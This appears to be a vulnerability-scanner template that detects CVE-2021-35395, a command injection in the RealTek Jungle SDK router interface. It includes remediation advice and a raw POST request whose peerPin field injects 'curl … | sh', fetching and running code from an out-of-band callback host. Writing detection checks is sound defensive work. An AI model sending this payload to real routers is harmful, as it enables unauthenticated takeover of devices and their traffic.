RealTek Jungle SDK - Arbitrary Command Injection

id: CVE-2021-35395

info:
  name: RealTek Jungle SDK - Arbitrary Command Injection
  author: king-alexander
  severity: critical
  description: |
    There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via command injection in the peerPin parameter, leading to complete router compromise and control over network traffic.
  remediation: Apply the latest security patches or updates provided by RealTek to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35395
    - https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
    - https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en
    - https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf
    - https://github.com/Knighthana/YABWF
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35395
    epss-score: 0.981
    epss-percentile: 0.99913
    cpe: cpe:2.3:a:realtek:realtek_jungle_sdk:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: realtek
    product: realtek_jungle_sdk
  tags: cve2021,cve,realtek,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /goform/formWsc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
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